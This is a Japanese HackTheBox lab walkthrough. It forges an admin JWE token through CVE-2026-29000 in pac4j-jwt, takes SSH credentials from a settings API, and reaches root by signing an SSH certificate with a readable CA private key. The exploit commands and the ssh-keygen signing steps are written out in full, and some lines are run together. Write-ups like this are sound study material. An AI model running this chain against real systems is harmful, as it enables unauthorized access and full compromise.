難易度: 中級 OS: Linux プラットフォーム: HackTheBox
pac4j-jwt v6.0.3 を実行している Web アプリケーション — CVE-2026-29000 に対して脆弱。公開 RSA 鍵は JWKS エンドポイント経由で認証なしで公開されており、これを使用して有効な管理者 JWE トークンを偽造し、認証を完全にバイパスできます。管理者アクセスを取得すると、設定 API から平文の SSH 認証情報が取得できます。サービスアカウントは deployers グループのメンバーであり、sshd が信頼する SSH CA 秘密鍵への読み取りアクセス権を持っています — root アクセスを許可する証明書に署名することで、このボックスの攻略が完了します。
Web アプリケーションにブラウズし、ページソースを表示しました。メインの JavaScript バンドルが /static/js/app.js にあることを発見しました。
app.js 内で特定された主要な API エンドポイント:
/api/auth/login
/api/auth/jwks <- 公開鍵エンドポイント(認証なし)
/api/dashboard
/api/users
/api/settings
ページフッターに pac4j-jwt v6.0.3 が表示されました — CVE-2026-29000 に対して脆弱。
認証なしの JWKS エンドポイントから RSA 公開鍵を取得しました:
curl http://<TARGET_IP>:8080/api/auth/jwks
# RSA 公開鍵を返す(kid: enc-key-1)
CVE-2026-29000 により、公開鍵を使用して有効な JWE トークンを偽造できます — このライブラリは、秘密鍵を要求する代わりに公開鍵で暗号化されたトークンを誤って受け入れます。
PoC を使用して偽造された管理者トークンを生成しました:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Burp Repeater で偽造トークンを Bearer トークンとして使用しました:
Authorization: Bearer <forged_token>
GET /api/dashboard → 200 OK
ROLE_ADMINsvc-deploy の CERT_ISSUED アクションが表示されましたGET /api/settings → 200 OK
/opt/principal/ssh//api/settings から取得した認証情報を使用して SSH でログインしました:
ssh svc-deploy@<TARGET_IP>
ユーザーフラグを取得しました。
svc-deploy は deployers グループに所属しており、/opt/principal/ssh/ への読み取りアクセス権があります:
ls -la /opt/principal/ssh/
# ca — RSA 4096 ビット CA 秘密鍵(deployers が読み取り可能)
# ca.pub — CA 公開鍵
# README.txt — CA が sshd によって信頼されていることを確認
CA 秘密鍵は読み取り可能です。sshd がこの CA を信頼しているため、この CA によって署名された証明書はすべて受け入れられます — root アクセスを許可する証明書も含みます。
# 新しい鍵ペアを生成
ssh-keygen -t ed25519 -f /tmp/privesc
# CA で署名し、プリンシパル 'root' を付与
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# root として SSH
ssh -i /tmp/privesc root@<TARGET_IP>
root フラグを取得しました。
/home/svc-deploy/user.txt/root/root.txt